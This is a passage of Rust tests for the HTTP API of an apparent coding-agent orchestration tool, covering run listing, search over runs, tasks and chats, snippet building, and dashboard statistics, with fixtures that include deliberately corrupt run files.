10541                    Err(e) => break Err(e.to_string()),
10542                }
10543            };
10544            *bound.lock().expect("bound") = Some(attempt);
10545            Ok(1)
10546        })
10547        .await
10548        .expect("hand over");
10549
10550        assert_eq!(
10551            *PARK_HEARD.lock().expect("park heard"),
10552            Some(200),
10553            "the deck must answer while the loop is parking"
10554        );
10555        let attempt = bound
10556            .lock()
10557            .expect("bound")
10558            .take()
10559            .expect("the successor was started");
10560        assert!(
10561            attempt.is_ok(),
10562            "and the address must be free by the time it is: {attempt:?}"
10563        );
10564    }
10565
10566    #[tokio::test]
10567    async fn a_newer_daemon_status_file_still_renders() {
10568        let f = Fixture::start().await;
10569        // A field this build has never heard of must not turn the status line
10570        // into a 500; that is the whole reason the reader is permissive.
10571        std::fs::write(
10572            f.home.path().join("daemon.json"),
10573            serde_json::json!({
10574                "schema": 2,
10575                "updated_at": Timestamp::now().to_string(),
10576                "idle": true,
10577                "surprise": { "nested": [1, 2, 3] },
10578            })
10579            .to_string(),
10580        )
10581        .expect("write daemon.json");
10582
10583        let health = f.get("/api/health").await;
10584
10585        assert_eq!(health.status, 200);
10586        assert_eq!(health.json()["daemon"]["running"], true);
10587    }
10588
10589    #[tokio::test]
10590    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
10591        let f = Fixture::start().await;
10592        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10593        let broken = f.runs().join("20260902-140502-bad");
10594        std::fs::create_dir_all(&broken).expect("run dir");
10595        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10596
10597        let list = f.get("/api/runs").await;
10598        let detail = f.get("/api/runs/20260902-140502-bad").await;
10599
10600        assert_eq!(list.status, 200);
10601        let listed = list.json();
10602        let ids: Vec<&str> = listed
10603            .as_array()
10604            .expect("an array")
10605            .iter()
10606            .map(|r| r["id"].as_str().expect("an id"))
10607            .collect();
10608        assert_eq!(
10609            ids,
10610            vec!["20260902-140501-good"],
10611            "one unreadable run must not cost the operator the whole history"
10612        );
10613        assert_eq!(detail.status, 500);
10614        assert!(
10615            detail.json()["error"]
10616                .as_str()
10617                .is_some_and(|e| e.contains("run.json")),
10618            "the failure names the file to look at: {}",
10619            detail.body
10620        );
10621        // A skipped run has to be countable somewhere, or the UI shows an
10622        // empty history with nothing to explain it - which is exactly what a
10623        // directory full of older-schema runs looks like.
10624        let health = f.get("/api/health").await;
10625        assert_eq!(health.json()["runs_unreadable"], 1);
10626    }
10627
10628    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
10629    #[tokio::test]
10630    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
10631        let f = Fixture::start().await;
10632        let runs = f.runs();
10633        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
10634        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
10635        // Text three levels down, in a shape no current RunState has: an older
10636        // schema must still search.
10637        let path = runs.join("20260902-140502-bbbb").join("run.json");
10638        let mut v: serde_json::Value =
10639            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
10640        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
10641        std::fs::write(&path, v.to_string()).unwrap();
10642        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
10643        std::fs::write(
10644            runs.join("20260902-140503-cccc").join("run.json"),
10645            "{ not json",
10646        )
10647        .unwrap();
10648
10649        let res = f.get("/api/search?scope=runs&q=quokka").await;
10650        assert_eq!(res.status, 200, "{}", res.body);
10651        let v = res.json();
10652        assert_eq!(v["total"], 1, "{v}");
10653        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
10654        assert_eq!(v["hits"][0]["field"], "text");
10655        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
10656        let parts = v["hits"][0]["snippet"].as_array().unwrap();
10657        assert!(
10658            parts
10659                .iter()
10660                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
10661            "{v}"
10662        );
10663        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
10664        assert_eq!(
10665            flat, "The Quokka leaks across threads",
10666            "whitespace is collapsed"
10667        );
10668
10669        // Terms are ANDed, across different fields, case-insensitively.
10670        let both = f
10671            .get("/api/search?scope=runs&q=MOBILE%20quokka")
10672            .await
10673            .json();
10674        assert_eq!(both["total"], 1, "{both}");
10675        let neither = f
10676            .get("/api/search?scope=runs&q=quokka%20zebra")
10677            .await
10678            .json();
10679        assert_eq!(neither["total"], 0, "{neither}");
10680        // Everything in the task statement is reachable, not only the row text.
10681        let stmt = f
10682            .get("/api/search?scope=runs&q=mobile%20first")
10683            .await
10684            .json();
10685        assert_eq!(stmt["total"], 2, "{stmt}");
10686        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
10687        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
10688    }
10689
10690    #[test]
10691    fn snippet_ignores_terms_longer_than_the_field() {
10692        let terms = ["ok".to_owned(), "elephant".to_owned()];
10693        let parts = snippet_of("ok", &terms);
10694        assert_eq!(
10695            parts,
10696            vec![SnippetPart {
10697                text: "ok".to_owned(),
10698                hit: true
10699            }]
10700        );
10701    }
10702
10703    #[test]
10704    fn snippet_marks_matches_longer_than_the_window() {
10705        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
10706        let hit_len = |parts: &[SnippetPart]| -> usize {
10707            parts
10708                .iter()
10709                .filter(|p| p.hit)
10710                .map(|p| p.text.chars().count())
10711                .sum()
10712        };
10713        let total =
10714            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
10715
10716        let long = "a".repeat(120);
10717        let parts = snippet_of(&long, std::slice::from_ref(&long));
10718        assert!(hit_len(&parts) > 0, "{parts:?}");
10719        assert!(total(&parts) <= cap);
10720
10721        let ja = "あ".repeat(130);
10722        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
10723        assert!(hit_len(&parts) > 0, "{parts:?}");
10724        assert!(total(&parts) <= cap);
10725
10726        // A short hit, then one straddling the window's end.
10727        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
10728        let term = format!("ab{}", "c".repeat(100));
10729        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
10730        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
10731        assert!(total(&parts) <= cap);
10732
10733        // Only the head matches: not highlighted.
10734        let text = format!("{}z", "a".repeat(119));
10735        let parts = snippet_of(&text, &["a".repeat(120)]);
10736        assert_eq!(hit_len(&parts), 0, "{parts:?}");
10737    }
10738
10739    #[tokio::test]
10740    async fn search_caps_hits_and_snippet_length() {
10741        let f = Fixture::start().await;
10742        let runs = f.runs();
10743        for n in 0..(SEARCH_MAX_HITS + 5) {
10744            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
10745        }
10746        let v = f.get("/api/search?scope=runs&q=web").await.json();
10747        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
10748        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
10749        assert_eq!(v["truncated"], true);
10750        // Every listed run hit carries its list row for the page's filters.
10751        assert!(
10752            v["hits"]
10753                .as_array()
10754                .unwrap()
10755                .iter()
10756                .all(|h| h["run"]["status"] == "merged")
10757        );
10758
10759        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
10760        let parts = snippet_of(&long, &["needle".to_owned()]);
10761        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
10762        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
10763        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
10764    }
10765
10766    #[tokio::test]
10767    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
10768        let f = Fixture::start().await;
10769        let queue = f.queue();
10770        let mut t = Task::new(
10771            "short title".to_owned(),
10772            "line one\nthe hidden Armadillo detail".to_owned(),
10773            PathBuf::from("/repo/magi"),
10774            Source::Agent {
10775                run: "r1".to_owned(),
10776                node: "chat".to_owned(),
10777            },
10778        );
10779        t.last_error = Some("disk full on /tmp".to_owned());
10780        queue.put(&mut t).expect("file the task");
10781
10782        for (q, want) in [
10783            ("armadillo", 1),
10784            ("disk%20FULL", 1),
10785            ("chat", 1),
10786            ("queued", 1),
10787            ("short%20nothing", 0),
10788        ] {
10789            let v = f
10790                .get(&format!("/api/search?scope=tasks&q={q}"))
10791                .await
10792                .json();
10793            assert_eq!(v["total"], want, "{q}: {v}");
10794        }
10795        for bad in [
10796            "/api/search?scope=tasks&q=",
10797            "/api/search?scope=tasks&q=%20",
10798            "/api/search?scope=chats&q=",
10799            "/api/search?scope=chats&q=%20",
10800            "/api/search?scope=nope&q=a",
10801            "/api/search?q=a",
10802        ] {
10803            assert_eq!(f.get(bad).await.status, 400, "{bad}");
10804        }
10805    }
10806
10807    /// Write one conversation file the way the store reads it back.
10808    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
10809        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
10810            .expect("seat value");
10811        let turns: Vec<serde_json::Value> = turns
10812            .iter()
10813            .map(|(who, body)| {
10814                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
10815            })
10816            .collect();
10817        let doc = serde_json::json!({
10818            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
10819            "status": status, "turns": turns,
10820            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
10821            "seat": seat,
10822        });
10823        let dir = f.home.path().join("talks");
10824        std::fs::create_dir_all(&dir).expect("talks dir");
10825        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
10826    }
10827
10828    #[tokio::test]
10829    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
10830        let f = Fixture::start().await;
10831        write_talk(
10832            &f,
10833            "20260901-000001-aaaa",
10834            "open",
10835            &[
10836                (
10837                    "operator",
10838                    "\n  Why does the Pangolin cache expire?\nsecond line",
10839                ),
10840                ("agent", "Because the TTL is thirty seconds."),
10841            ],
10842        );
10843        write_talk(
10844            &f,
10845            "20260901-000002-bbbb",
10846            "closed",
10847            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
10848        );
10849        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
10850
10851        let search = |q: &'static str| {
10852            let f = &f;
10853            async move {
10854                f.get(&format!("/api/search?scope=chats&q={q}"))
10855                    .await
10856                    .json()
10857            }
10858        };
10859
10860        let v = search("PANGOLIN").await;
10861        assert_eq!(v["scope"], "chats");
10862        assert_eq!(v["total"], 1, "{v}");
10863        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
10864        assert_eq!(v["hits"][0]["field"], "title");
10865        assert_eq!(v["unreadable"], 1, "{v}");
10866        let marked: Vec<&str> = v["hits"][0]["snippet"]
10867            .as_array()
10868            .unwrap()
10869            .iter()
10870            .filter(|p| p["hit"] == true)
10871            .map(|p| p["text"].as_str().unwrap())
10872            .collect();
10873        assert_eq!(marked, ["Pangolin"]);
10874
10875        // An agent turn, in a closed conversation.
10876        let v = search("zebra").await;
10877        assert_eq!(v["total"], 1, "{v}");
10878        assert_eq!(v["hits"][0]["field"], "agent");
10879        // Words may sit in different turns; all must be present.
10880        assert_eq!(search("pangolin%20thirty").await["total"], 1);
10881        assert_eq!(search("pangolin%20zebra").await["total"], 0);
10882        // Bookkeeping is not searched.
10883        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
10884            assert_eq!(search(q).await["total"], 0, "{q}");
10885        }
10886        // The first line only is the title; the second line is still a turn.
10887        assert_eq!(search("second").await["hits"][0]["field"], "operator");
10888        // Open conversations are listed before closed ones.
10889        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
10890
10891        let v = f.get("/api/search?scope=nope&q=a").await;
10892        assert_eq!(v.status, 400);
10893        assert!(
10894            v.body.contains("scope must be runs, tasks or chats"),
10895            "{}",
10896            v.body
10897        );
10898    }
10899
10900    #[test]
10901    fn a_question_card_links_a_task_id_to_the_task_page() {
10902        let start = APP_JS
10903            .find("function updateAskCard(")
10904            .expect("updateAskCard exists");
10905        let body = &APP_JS[start..];
10906        let body = &body[..body.find("\n}\n").expect("function end")];
10907        assert!(body.contains("question.run_is_task"));
10908        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
10909        assert!(body.contains("`#/runs/${question.run}`"));
10910        assert!(body.contains("\"task\" : \"run\""));
10911    }
10912
10913    #[test]
10914    fn stats_bars_share_one_id_keyed_plan() {
10915        let start = APP_JS
10916            .find("function statsBarRows(")
10917            .expect("statsBarRows exists");
10918        let body = &APP_JS[start..];
10919        let body = &body[..body.find("\n}\n").expect("function end")];
10920        assert!(body.contains("statsBarPlan(rows)"));
10921        assert!(body.contains("statsAgentTone(row.agent)"));
10922        assert!(!body.contains("candTone(i)"));
10923        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
10924        for root in ["stats-agents-bars", "stats-reviewers-bars"] {
10925            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
10926        }
10927    }
10928
10929    #[test]
10930    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
10931        let start = APP_JS
10932            .find("function renderStatsReviewerScatter(")
10933            .expect("renderStatsReviewerScatter exists");
10934        let body = &APP_JS[start..];
10935        let body = &body[..body.find("\n}\n").expect("function end")];
10936        assert!(body.contains("statsScatterPlan(reviewers)"));
10937        assert!(body.contains("statsAgentTone(d.agent)"));
10938        assert!(APP_JS.contains("function statsScatterPlan("));
10939        assert!(
10940            APP_JS.contains("d.submitted < STATS_LOW_N")
10941                || APP_JS.contains("r.submitted < STATS_LOW_N")
10942        );
10943        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
10944        assert!(APP_CSS.contains(".precision-scatter"));
10945    }
10946
10947    #[test]
10948    fn advisor_reflection_is_drawn_as_stacked_segments() {
10949        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
10950        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
10951        let html = include_str!("../assets/ui/index.html");
10952        assert!(html.contains("Approximate"));
10953        for label in ["reflected strongly", "faint", "no proposal"] {
10954            assert!(html.contains(label));
10955        }
10956        let css = include_str!("../assets/ui/app.css");
10957        for c in ["refl-strong", "refl-faint", "refl-absent"] {
10958            assert!(css.contains(&format!(".{c} {{")));
10959        }
10960    }
10961
10962    #[test]
10963    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
10964        assert!(APP_JS.contains("function statsDailyPlan("));
10965        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
10966        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
10967    }
10968
10969    #[test]
10970    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
10971        let start = APP_JS
10972            .find("function scheduleSearch(")
10973            .expect("scheduleSearch exists");
10974        let body = &APP_JS[start..];
10975        let body = &body[..body.find("\n}\n").expect("function end")];
10976        assert!(body.contains("s.seq += 1"));
10977    }
10978
10979    /// The dashboard reads every run's state itself rather than trusting a
10980    /// separately-maintained count, so an unreadable run must be counted the
10981    /// same way `/api/health` counts it - never silently dropped the way the
10982    /// CLI's own `stats::load_all` drops it.
10983    #[tokio::test]
10984    async fn stats_runs_unreadable_matches_health() {
10985        let f = Fixture::start().await;
10986        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10987        let broken = f.runs().join("20260902-140502-bad");
10988        std::fs::create_dir_all(&broken).expect("run dir");
10989        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10990
10991        let stats = f.get("/api/stats").await;
10992        let health = f.get("/api/health").await;
10993
10994        assert_eq!(stats.status, 200);
10995        assert_eq!(stats.json()["totals"]["runs"], 1);
10996        assert_eq!(stats.json()["runs_unreadable"], 1);
10997        assert_eq!(
10998            stats.json()["runs_unreadable"],
10999            health.json()["runs_unreadable"],
11000            "the dashboard and /api/health must never disagree about how many \
11001             runs could not be read"
11002        );
11003    }
11004
11005    #[tokio::test]
11006    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
11007        let f = Fixture::start().await;
11008        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11009        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
11010        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
11011
11012        let totals = &f.get("/api/stats").await.json()["totals"];
11013        assert_eq!(totals["runs"], 3);
11014        assert_eq!(totals["merged"], 1);
11015        assert_eq!(totals["stalled"], 1);
11016        assert_eq!(totals["in_progress"], 1);
11017        // A stalled run must never read as blocked/merged/ready - it is its
11018        // own bucket, not folded into a "decided" one.
11019        assert_eq!(totals["blocked"], 0);
11020        assert_eq!(totals["ready"], 0);
11021    }
11022
11023    #[tokio::test]
11024    async fn stats_advisors_report_proposals_and_reflection() {
11025        use crate::advise::{Advice, AdvisorRecord, Reflection};
11026        use crate::verdict::Proposal;
11027
11028        let f = Fixture::start().await;
11029        let mut state = RunState::new(
11030            PathBuf::from("/repo/magi"),
11031            "main".to_owned(),
11032            "0123456789abcdef".to_owned(),
11033            "task".to_owned(),
11034            Config::default(),
11035        );
11036        state.id = "20260902-140501-a".to_owned();
11037        state.status = RunStatus::Merged;
11038        state.advice = Some(Advice {
11039            records: vec![
11040                AdvisorRecord {
11041                    seat: "advisor-1".to_owned(),
11042                    agent: "alpha".to_owned(),
11043                    proposal: Some(Proposal {
11044                        approach: "do it".to_owned(),
11045                        key_tradeoff: "speed over memory".to_owned(),
11046                        risks: Vec::new(),
11047                        touches: Vec::new(),
11048                        why_not_naive: "breaks under load".to_owned(),
11049                    }),
11050                    error: None,
11051                    duration_ms: 0,
11052                    reflection: Reflection::Strong,
11053                },
11054                AdvisorRecord {
11055                    seat: "advisor-2".to_owned(),
11056                    agent: "alpha".to_owned(),
11057                    proposal: None,
11058                    error: Some("timed out".to_owned()),
11059                    duration_ms: 0,
11060                    reflection: Reflection::Absent,
11061                },
11062            ],
11063            synthesis: Some("blended brief".to_owned()),
11064        });
11065        let dir = f.runs().join(&state.id);
11066        std::fs::create_dir_all(&dir).expect("run dir");
11067        std::fs::write(
11068            dir.join("run.json"),
11069            serde_json::to_string_pretty(&state).expect("serialize run"),
11070        )
11071        .expect("write run.json");
11072
11073        let advisors = f.get("/api/stats").await.json()["advisors"].clone();
11074        let alpha = advisors
11075            .as_array()
11076            .expect("an array")
11077            .iter()
11078            .find(|a| a["agent"] == "alpha")
11079            .expect("alpha row");
11080        assert_eq!(alpha["seated"], 2);
11081        assert_eq!(alpha["proposed"], 1);
11082        assert_eq!(alpha["absent"], 1);
11083        assert_eq!(alpha["strong"], 1);
11084        assert_eq!(alpha["faint"], 0);
11085        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11086    }
11087
11088    #[tokio::test]
11089    async fn stats_release_bumps_split_clean_from_attention() {
11090        use crate::run::ReleaseBump;
11091
11092        let f = Fixture::start().await;
11093
11094        let mut clean = RunState::new(
11095            PathBuf::from("/repo/magi"),
11096            "main".to_owned(),
11097            "0123456789abcdef".to_owned(),
11098            "task".to_owned(),
11099            Config::default(),
11100        );
11101        clean.id = "20260902-140501-a".to_owned();
11102        clean.status = RunStatus::Merged;
11103        clean.release_bump = Some(ReleaseBump {
11104            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11105            version: Some("1.0.0".to_owned()),
11106            automerge_enabled: true,
11107            merged_directly: false,
11108            local: false,
11109            release: None,
11110            problem: None,
11111            action_required: None,
11112        });
11113
11114        let mut blocked = RunState::new(
11115            PathBuf::from("/repo/magi"),
11116            "main".to_owned(),
11117            "0123456789abcdef".to_owned(),
11118            "task".to_owned(),
11119            Config::default(),
11120        );
11121        blocked.id = "20260902-140502-b".to_owned();
11122        blocked.status = RunStatus::Merged;
11123        blocked.release_bump = Some(ReleaseBump {
11124            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
11125            version: Some("1.0.1".to_owned()),
11126            automerge_enabled: false,
11127            merged_directly: false,
11128            local: false,
11129            release: None,
11130            problem: Some("checks red".to_owned()),
11131            action_required: Some("look at the PR".to_owned()),
11132        });
11133
11134        for state in [&clean, &blocked] {
11135            let dir = f.runs().join(&state.id);
11136            std::fs::create_dir_all(&dir).expect("run dir");
11137            std::fs::write(
11138                dir.join("run.json"),
11139                serde_json::to_string_pretty(state).expect("serialize run"),
11140            )
11141            .expect("write run.json");
11142        }
11143
11144        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11145        assert_eq!(bumps["merged"], 2);
11146        assert_eq!(bumps["recorded"], 2);
11147        assert_eq!(bumps["pr_opened"], 2);
11148        assert_eq!(bumps["automerge_enabled"], 1);
11149        assert_eq!(bumps["needs_attention"], 1);
11150        assert_eq!(bumps["clean"], 1);
11151        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11152        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11153    }
11154
11155    #[tokio::test]
11156    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11157        let f = Fixture::start().await;
11158        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11159
11160        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11161        assert_eq!(bumps["merged"], 1);
11162        assert_eq!(bumps["recorded"], 0);
11163        // `merged` is nonzero, so coverage still reads as a real 0%, not an
11164        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
11165        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11166        // `pr_opened` and `recorded` are both zero here, so these rates have
11167        // no denominator to compute from and must be null.
11168        assert_eq!(bumps["automerge_rate"], Value::Null);
11169        assert_eq!(bumps["attention_rate"], Value::Null);
11170    }
11171
11172    #[tokio::test]
11173    async fn stats_queue_counts_come_from_the_live_queue() {
11174        let f = Fixture::start().await;
11175        let q = f.queue();
11176        let mut queued = Task::new(
11177            "queued task".to_owned(),
11178            "do it".to_owned(),
11179            PathBuf::from("/repo"),
11180            Source::Human,
11181        );
11182        q.put(&mut queued).expect("put queued");
11183        let mut held = Task::new(
11184            "held task".to_owned(),
11185            "do it later".to_owned(),
11186            PathBuf::from("/repo"),
11187            Source::Human,
11188        );
11189        held.hold_machine(Some("out of attempts".to_owned()));
11190        q.put(&mut held).expect("put held");
11191
11192        let queue = f.get("/api/stats").await.json()["queue"].clone();
11193        assert_eq!(queue["queued"], 1);
11194        assert_eq!(queue["held"], 1);
11195        assert_eq!(queue["running"], 0);
11196        assert_eq!(queue["done"], 0);
11197        assert_eq!(queue["failed"], 0);
11198        assert_eq!(queue["blocked"], 0);
11199    }
11200
11201    #[tokio::test]
11202    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11203        let f = Fixture::start().await;
11204        let stats = f.get("/api/stats").await;
11205        assert_eq!(stats.status, 200);
11206        assert_eq!(stats.json()["totals"]["runs"], 0);
11207        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11208        assert_eq!(stats.json()["runs_unreadable"], 0);
11209        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11210        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11211        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11212        assert_eq!(stats.json()["repo"], Value::Null);
11213    }
11214
11215    #[tokio::test]
11216    async fn stats_lists_every_repository_with_runs_recorded() {
11217        let f = Fixture::start().await;
11218        write_run_repo(
11219            &f.runs(),
11220            "20260902-140501-a",
11221            RunStatus::Merged,
11222            "/repos/a",
11223        );
11224        write_run_repo(
11225            &f.runs(),
11226            "20260902-140502-b",
11227            RunStatus::Merged,
11228            "/repos/a",
11229        );
11230        write_run_repo(
11231            &f.runs(),
11232            "20260902-140503-c",
11233            RunStatus::Blocked,
11234            "/repos/b",
11235        );
11236
11237        let stats = f.get("/api/stats").await;
11238        assert_eq!(stats.status, 200);
11239        // Unfiltered - the aggregate across both repositories.
11240        assert_eq!(stats.json()["totals"]["runs"], 3);
11241        assert_eq!(stats.json()["repo"], Value::Null);
11242
11243        let repos = stats.json()["repos"].clone();
11244        let repos = repos.as_array().unwrap();
11245        assert_eq!(repos.len(), 2);
11246        // Busiest (2 runs) first.
11247        assert_eq!(repos[0]["repo"], "/repos/a");
11248        assert_eq!(repos[0]["name"], "a");
11249        assert_eq!(repos[0]["runs"], 2);
11250        assert_eq!(repos[1]["repo"], "/repos/b");
11251        assert_eq!(repos[1]["runs"], 1);
11252    }
11253
11254    #[tokio::test]
11255    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
11256        let f = Fixture::start().await;
11257        write_run_repo(
11258            &f.runs(),
11259            "20260902-140501-a",
11260            RunStatus::Merged,
11261            "/repos/a",
11262        );
11263        write_run_repo(
11264            &f.runs(),
11265            "20260902-140502-b",
11266            RunStatus::Blocked,
11267            "/repos/b",
11268        );
11269
11270        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
11271        assert_eq!(stats.status, 200);
11272        assert_eq!(stats.json()["totals"]["runs"], 1);
11273        assert_eq!(stats.json()["totals"]["merged"], 1);
11274        assert_eq!(stats.json()["repo"], "/repos/a");
11275        // The repository list itself is unaffected by the filter - it is
11276        // what a client switches repositories from.
11277        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
11278        // runs_unreadable is a whole-workload count, never scoped to the
11279        // selected repository - see StatsView::runs_unreadable's own doc.
11280        assert_eq!(stats.json()["runs_unreadable"], 0);
11281    }
11282
11283    #[tokio::test]
11284    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
11285        let f = Fixture::start().await;
11286        write_run_repo(
11287            &f.runs(),
11288            "20260902-140501-a",
11289            RunStatus::Merged,
11290            "/repos/a",
11291        );
11292        write_run_repo(
11293            &f.runs(),
11294            "20260902-140502-b",
11295            RunStatus::Merged,
11296            "/repos/b",
11297        );
11298
11299        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
11300            let json = f.get(uri).await.json();
11301            let daily = json["daily"].as_array().expect("daily is an array");
11302            assert_eq!(daily.len(), 30);
11303            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
11304            let mut sorted = dates.clone();
11305            sorted.sort();
11306            assert_eq!(dates, sorted);
11307            for d in daily {
11308                assert_eq!(
11309                    d["merged"].as_u64().unwrap()
11310                        + d["ready"].as_u64().unwrap()
11311                        + d["other"].as_u64().unwrap(),
11312                    d["runs"].as_u64().unwrap()
11313                );
11314            }
11315            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
11316        }
11317    }
11318
11319    #[tokio::test]
11320    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
11321        let f = Fixture::start().await;
11322        write_run_repo(
11323            &f.runs(),
11324            "20260902-140501-a",
11325            RunStatus::Merged,
11326            "/repos/a",
11327        );
11328
11329        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
11330        assert_eq!(stats.status, 404);
11331    }
11332
11333    #[tokio::test]
11334    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
11335        let f = Fixture::start().await;
11336        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
11337
11338        let summary = f.get("/api/runs").await.json();
11339        let row = &summary[0];
11340        assert_eq!(row["short"], "a1b2");
11341        assert_eq!(row["status"], "ready");
11342        assert_eq!(row["done"], true);
11343        assert_eq!(row["title"], "Add a web UI");
11344        assert_eq!(row["repo_name"], "magi");
11345        assert_eq!(row["judges"], 3);
11346        assert_eq!(row["winner"], Value::Null);
11347        assert_eq!(row["reviews"], 0);
11348
11349        // The short id resolves, and the detail route is the state itself, not
11350        // a projection of it: the UI reads fields the summary does not carry.
11351        let detail = f.get("/api/runs/a1b2").await;
11352        assert_eq!(detail.status, 200);
11353        assert_eq!(detail.json()["base_branch"], "main");
11354        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
11355    }
11356
11357    /// `status: "ready"` alone cannot tell a run still headed for a landing
11358    /// (a PR closed without merging, say) apart from one `[merge] mode =
11359    /// "none"` left unmerged for good — the confusion the operator flagged
11360    /// after the CLI report already grew a `not landed — nothing to do by
11361    /// design` line for exactly this case (`report.rs`). Both the list route
11362    /// and the detail route must carry a flag the phone can key on instead of
11363    /// re-deriving it from `status` + `merge.mode` itself.
11364    #[tokio::test]
11365    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
11366        let f = Fixture::start().await;
11367
11368        let mut none_run = RunState::new(
11369            PathBuf::from("/repo/magi"),
11370            "main".to_owned(),
11371            "0123456789abcdef".to_owned(),
11372            "Add a web UI".to_owned(),
11373            Config::default(),
11374        );
11375        none_run.id = "20260902-140503-none".to_owned();
11376        none_run.status = RunStatus::Ready;
11377        none_run.merge = Some(crate::run::MergeOutcome {
11378            mode: crate::config::MergeMode::None,
11379            ok: true,
11380            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
11381            empty: false,
11382        });
11383        write_state(&f.runs(), &none_run);
11384
11385        let mut pr_run = RunState::new(
11386            PathBuf::from("/repo/magi"),
11387            "main".to_owned(),
11388            "0123456789abcdef".to_owned(),
11389            "Add a web UI".to_owned(),
11390            Config::default(),
11391        );
11392        pr_run.id = "20260902-140504-prcl".to_owned();
11393        pr_run.status = RunStatus::Ready;
11394        pr_run.merge = Some(crate::run::MergeOutcome {
11395            mode: crate::config::MergeMode::Pr,
11396            ok: false,
11397            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
11398            empty: false,
11399        });
11400        write_state(&f.runs(), &pr_run);
11401
11402        let summary = f.get("/api/runs").await.json();
